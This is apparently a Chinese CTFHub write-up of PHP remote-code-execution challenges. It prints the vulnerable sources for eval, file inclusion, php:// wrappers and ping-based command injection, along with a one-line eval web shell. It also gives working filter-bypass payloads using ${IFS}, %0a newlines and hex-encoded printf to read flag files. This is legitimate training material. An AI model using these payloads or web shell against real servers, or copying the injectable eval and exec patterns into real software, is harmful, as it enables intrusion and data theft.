CTFHUB-RCE

发布时间 2023-08-30 10:44:52作者: KAKSKY

eval执行
eval函数是执行php代码的函数,
system()函数的主要功能是在系统权限允许的情况下执行系统命令。

<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

images

文件包含

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>

strpos() 函数查找字符串在另一字符串中第一次出现的位置。

strpos(string,find,start)
参数 描述
string 必需。规定要搜索的字符串。
find 必需。规定要查找的字符串。
start 可选。规定在何处开始搜索。
shell.txt
<?php eval($_REQUEST['ctfhub']);?>

主页源码显示get参数为file,参数中不包含flag时就会include 请求参数,
请求参数包含shell.txt后,执行post的参数;

images

php://input
从官网信息来看,php://input是一个只读信息流,当请求方式是post的,并且enctype不等于”multipart/form-data”时,可以使用php://input来获取原始请求的数据。

<?php
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>

<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>

images
不知道为什么浏览器中不行,burp中就可以。
images

读取源代码
使用的是php://filter伪协议

<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>

images

远程包含

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag?<br>
<a href="phpinfo.php">phpinfo</a>

远程包含成功:
images

images

命令注入-无过滤

常用管道符:
windows系列支持的管道符:
“|”:直接执行后面的语句。
“||”:如果前面执行的语句执行出错,则执行后面的语句,前面的语句只能为假。
“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。
Linux系列支持的管道符:
“;”:执行完前面的语句再执行后面的。
“|”:显示后面的语句的执行结果。
“||”:当前面的语句执行出错时,执行后面的语句。
“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
“&&”:如果前面的语句为假则执行出错,也不执行后面的,前面的语句只能为真。

源码:

<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
    $cmd = "ping -c 4 {$_GET['ip']}";
    exec($cmd, $res);
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>CTFHub 命令注入-无过滤</title>
</head>
<body>
<h1>CTFHub 命令注入-无过滤</h1>
<form action="#" method="GET">
    <label for="ip">IP : </label><br>
    <input type="text" id="ip" name="ip">
    <input type="submit" value="Ping">
</form>
<hr>
<pre>
<?php
if ($res) {
    print_r($res);
}
?>
</pre>
<?php
show_source(__FILE__);
?>
</body>
</html>

很奇怪,用浏览器就出不来,用burp就出来了。
images
原来是隐藏了!
images

过滤cat
过滤了cat,可以用head、tac等等...
images

过滤空格
在bash下,可以用以下字符代替空格:

 <,<>,%20(space),%09(tab),$IFS$9, ${IFS},$IFS

源码:

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/ /", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

images
GET /?ip=127.0.0.1|cat<flag_320371916812169.php
images

命令注入-过滤目录分隔符
思路上来说应该是cat文件,必须要使用目录分隔符/,但是题目给过滤。需要另外寻找办法
linux中:%0a 、%0d 、; 、& 、| 、&&||
windows中:%0a&|
其中分号;的作用就是在 shell 中,担任”连续指令”功能
&&的方式:command1 && command2 如果command1执行成功,则执行command2

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/\//", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

;cd flag_is_here&&cat flag_100782653832364.php
images

过滤运算符
源码:

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||\&)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

从源码中可以知道过滤了:& 和 || 那么使用;绕过即可!
images

综合练习
源码:

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

从源码中得知,过滤了| & ; / cat flag ctfhub
那么就只能找方法绕过了!

?ip=%0als

images

?ip=%0Als${IFS}$(printf${IFS}%22\x66\x6C\x61\x67\x5F\x69\x73\x5F\x68\x65\x72\x65%22)#

images

?ip=%0Aca%27%27t${IFS}$(printf${IFS}%22\x66\x6C\x61\x67\x5F\x69\x73\x5F\x68\x65\x72\x65\x2F\x66\x6C\x61\x67\x5F\x32\x31\x35\x37\x32\x31\x34\x38\x39\x31\x34\x33\x39\x31\x2E\x70\x68\x70%22)#

images

images